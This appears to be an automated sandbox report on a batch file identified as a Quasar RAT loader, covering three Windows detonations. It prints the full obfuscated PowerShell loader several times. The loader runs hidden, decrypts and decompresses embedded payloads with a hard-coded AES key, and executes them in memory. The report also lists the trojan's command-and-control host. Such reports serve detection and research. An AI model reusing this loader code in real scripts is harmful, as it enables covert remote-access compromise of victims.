Malware Analysis Report

2024-10-19 06:32

Sample ID 240628-3yyl1awakg
Target Neo.bat
SHA256 afd1e3df846e293a28e0cbf7c2d75d14b2741870f4f4d9821a52eb8444ccf182
Tags
quasar slave execution spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

afd1e3df846e293a28e0cbf7c2d75d14b2741870f4f4d9821a52eb8444ccf182

Threat Level: Known bad

The file Neo.bat was found to be: Known bad.

Malicious Activity Summary

quasar slave execution spyware trojan

Quasar RAT

Quasar payload

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Looks up external IP address via web service

Program crash

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-28 23:55

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-28 23:55

Reported

2024-06-28 23:58

Platform

win10-20240404-en

Max time kernel

149s

Max time network

151s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4944 wrote to memory of 428 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4944 wrote to memory of 428 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4944 wrote to memory of 428 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/3Efcn+SDEpJR1JenkZ6Rs7BtpqldOJo1ZPEc5aK6j4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('caD4PIX78HWMO7N++ZAzJA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hEySi=New-Object System.IO.MemoryStream(,$param_var); $iTdjt=New-Object System.IO.MemoryStream; $eJQAi=New-Object System.IO.Compression.GZipStream($hEySi, [IO.Compression.CompressionMode]::Decompress); $eJQAi.CopyTo($iTdjt); $eJQAi.Dispose(); $hEySi.Dispose(); $iTdjt.Dispose(); $iTdjt.ToArray();}function execute_function($param_var,$param2_var){ $PuVCg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yPbYO=$PuVCg.EntryPoint; $yPbYO.Invoke($null, $param2_var);}$xkpDo = 'C:\Users\Admin\AppData\Local\Temp\Neo.bat';$host.UI.RawUI.WindowTitle = $xkpDo;$FaHLG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($xkpDo).Split([Environment]::NewLine);foreach ($CebJO in $FaHLG) { if ($CebJO.StartsWith(':: ')) { $KEPuw=$CebJO.Substring(3); break; }}$payloads_var=[string[]]$KEPuw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 runderscore00-42512.portmap.io udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
US 8.8.8.8:53 24.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 98.58.20.217.in-addr.arpa udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp

Files

memory/428-0-0x000000007348E000-0x000000007348F000-memory.dmp

memory/428-3-0x00000000049C0000-0x00000000049F6000-memory.dmp

memory/428-5-0x0000000007260000-0x0000000007888000-memory.dmp

memory/428-4-0x0000000073480000-0x0000000073B6E000-memory.dmp

memory/428-6-0x0000000073480000-0x0000000073B6E000-memory.dmp

memory/428-7-0x0000000007100000-0x0000000007122000-memory.dmp

memory/428-8-0x00000000079E0000-0x0000000007A46000-memory.dmp

memory/428-9-0x0000000007900000-0x0000000007966000-memory.dmp

memory/428-10-0x0000000007A70000-0x0000000007DC0000-memory.dmp

memory/428-13-0x00000000079C0000-0x00000000079DC000-memory.dmp

memory/428-14-0x0000000007F10000-0x0000000007F5B000-memory.dmp

memory/428-15-0x0000000008190000-0x0000000008206000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0wfq3rmq.op0.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/428-28-0x0000000073480000-0x0000000073B6E000-memory.dmp

memory/428-31-0x00000000099B0000-0x000000000A028000-memory.dmp

memory/428-32-0x0000000008F30000-0x0000000008F4A000-memory.dmp

memory/428-33-0x0000000008F70000-0x0000000008F78000-memory.dmp

memory/428-34-0x0000000009240000-0x00000000092DC000-memory.dmp

memory/428-35-0x0000000009330000-0x0000000009364000-memory.dmp

memory/428-36-0x0000000009410000-0x000000000946E000-memory.dmp

memory/428-37-0x000000000A030000-0x000000000A52E000-memory.dmp

memory/428-38-0x0000000009560000-0x00000000095F2000-memory.dmp

memory/428-39-0x0000000006D10000-0x0000000006D22000-memory.dmp

memory/428-40-0x00000000094D0000-0x000000000950E000-memory.dmp

memory/428-44-0x0000000009550000-0x000000000955A000-memory.dmp

memory/428-52-0x000000007348E000-0x000000007348F000-memory.dmp

memory/428-53-0x0000000073480000-0x0000000073B6E000-memory.dmp

memory/428-56-0x0000000073480000-0x0000000073B6E000-memory.dmp

memory/428-57-0x0000000073480000-0x0000000073B6E000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-28 23:55

Reported

2024-06-28 23:58

Platform

win10v2004-20240508-en

Max time kernel

149s

Max time network

151s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5076 wrote to memory of 1724 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5076 wrote to memory of 1724 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5076 wrote to memory of 1724 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/3Efcn+SDEpJR1JenkZ6Rs7BtpqldOJo1ZPEc5aK6j4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('caD4PIX78HWMO7N++ZAzJA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hEySi=New-Object System.IO.MemoryStream(,$param_var); $iTdjt=New-Object System.IO.MemoryStream; $eJQAi=New-Object System.IO.Compression.GZipStream($hEySi, [IO.Compression.CompressionMode]::Decompress); $eJQAi.CopyTo($iTdjt); $eJQAi.Dispose(); $hEySi.Dispose(); $iTdjt.Dispose(); $iTdjt.ToArray();}function execute_function($param_var,$param2_var){ $PuVCg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yPbYO=$PuVCg.EntryPoint; $yPbYO.Invoke($null, $param2_var);}$xkpDo = 'C:\Users\Admin\AppData\Local\Temp\Neo.bat';$host.UI.RawUI.WindowTitle = $xkpDo;$FaHLG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($xkpDo).Split([Environment]::NewLine);foreach ($CebJO in $FaHLG) { if ($CebJO.StartsWith(':: ')) { $KEPuw=$CebJO.Substring(3); break; }}$payloads_var=[string[]]$KEPuw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1724 -ip 1724

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 2768

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1724 -ip 1724

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 2768

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 100.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 runderscore00-42512.portmap.io udp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 17.173.189.20.in-addr.arpa udp

Files

memory/1724-0-0x000000007510E000-0x000000007510F000-memory.dmp

memory/1724-1-0x0000000003020000-0x0000000003056000-memory.dmp

memory/1724-3-0x0000000005B20000-0x0000000006148000-memory.dmp

memory/1724-2-0x0000000075100000-0x00000000758B0000-memory.dmp

memory/1724-4-0x0000000005A80000-0x0000000005AA2000-memory.dmp

memory/1724-5-0x0000000006240000-0x00000000062A6000-memory.dmp

memory/1724-6-0x00000000062B0000-0x0000000006316000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qofl4aic.zed.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1724-16-0x0000000006320000-0x0000000006674000-memory.dmp

memory/1724-17-0x0000000006840000-0x000000000685E000-memory.dmp

memory/1724-18-0x0000000006860000-0x00000000068AC000-memory.dmp

memory/1724-20-0x0000000006E00000-0x0000000006E1A000-memory.dmp

memory/1724-19-0x0000000008100000-0x000000000877A000-memory.dmp

memory/1724-21-0x0000000006E20000-0x0000000006E28000-memory.dmp

memory/1724-22-0x0000000007B20000-0x0000000007BBC000-memory.dmp

memory/1724-23-0x0000000007C90000-0x0000000007CC4000-memory.dmp

memory/1724-24-0x0000000007CC0000-0x0000000007D1E000-memory.dmp

memory/1724-25-0x0000000008D30000-0x00000000092D4000-memory.dmp

memory/1724-26-0x0000000007E30000-0x0000000007EC2000-memory.dmp

memory/1724-27-0x00000000056A0000-0x00000000056B2000-memory.dmp

memory/1724-28-0x0000000008800000-0x000000000883C000-memory.dmp

memory/1724-30-0x0000000075100000-0x00000000758B0000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-28 23:55

Reported

2024-06-28 23:58

Platform

win11-20240611-en

Max time kernel

91s

Max time network

93s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3180 wrote to memory of 4412 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3180 wrote to memory of 4412 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3180 wrote to memory of 4412 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/3Efcn+SDEpJR1JenkZ6Rs7BtpqldOJo1ZPEc5aK6j4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('caD4PIX78HWMO7N++ZAzJA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hEySi=New-Object System.IO.MemoryStream(,$param_var); $iTdjt=New-Object System.IO.MemoryStream; $eJQAi=New-Object System.IO.Compression.GZipStream($hEySi, [IO.Compression.CompressionMode]::Decompress); $eJQAi.CopyTo($iTdjt); $eJQAi.Dispose(); $hEySi.Dispose(); $iTdjt.Dispose(); $iTdjt.ToArray();}function execute_function($param_var,$param2_var){ $PuVCg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yPbYO=$PuVCg.EntryPoint; $yPbYO.Invoke($null, $param2_var);}$xkpDo = 'C:\Users\Admin\AppData\Local\Temp\Neo.bat';$host.UI.RawUI.WindowTitle = $xkpDo;$FaHLG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($xkpDo).Split([Environment]::NewLine);foreach ($CebJO in $FaHLG) { if ($CebJO.StartsWith(':: ')) { $KEPuw=$CebJO.Substring(3); break; }}$payloads_var=[string[]]$KEPuw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4412 -ip 4412

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 2808

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4412 -ip 4412

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 2808

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp

Files

memory/4412-0-0x000000007468E000-0x000000007468F000-memory.dmp

memory/4412-1-0x0000000002D40000-0x0000000002D76000-memory.dmp

memory/4412-3-0x00000000055C0000-0x0000000005BEA000-memory.dmp

memory/4412-2-0x0000000074680000-0x0000000074E31000-memory.dmp

memory/4412-4-0x0000000074680000-0x0000000074E31000-memory.dmp

memory/4412-5-0x0000000005350000-0x0000000005372000-memory.dmp

memory/4412-7-0x0000000005BF0000-0x0000000005C56000-memory.dmp

memory/4412-6-0x00000000053F0000-0x0000000005456000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_po5c0zso.sln.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4412-16-0x0000000005D10000-0x0000000006067000-memory.dmp

memory/4412-17-0x00000000060F0000-0x000000000610E000-memory.dmp

memory/4412-18-0x0000000006130000-0x000000000617C000-memory.dmp

memory/4412-19-0x0000000007930000-0x0000000007FAA000-memory.dmp

memory/4412-20-0x00000000072B0000-0x00000000072CA000-memory.dmp

memory/4412-21-0x00000000072E0000-0x00000000072E8000-memory.dmp

memory/4412-22-0x00000000073D0000-0x000000000746C000-memory.dmp

memory/4412-23-0x0000000007580000-0x00000000075B4000-memory.dmp

memory/4412-24-0x00000000075B0000-0x000000000760E000-memory.dmp

memory/4412-25-0x0000000008560000-0x0000000008B06000-memory.dmp

memory/4412-26-0x0000000007720000-0x00000000077B2000-memory.dmp

memory/4412-27-0x0000000005080000-0x0000000005092000-memory.dmp

memory/4412-28-0x0000000008100000-0x000000000813C000-memory.dmp

memory/4412-30-0x0000000074680000-0x0000000074E31000-memory.dmp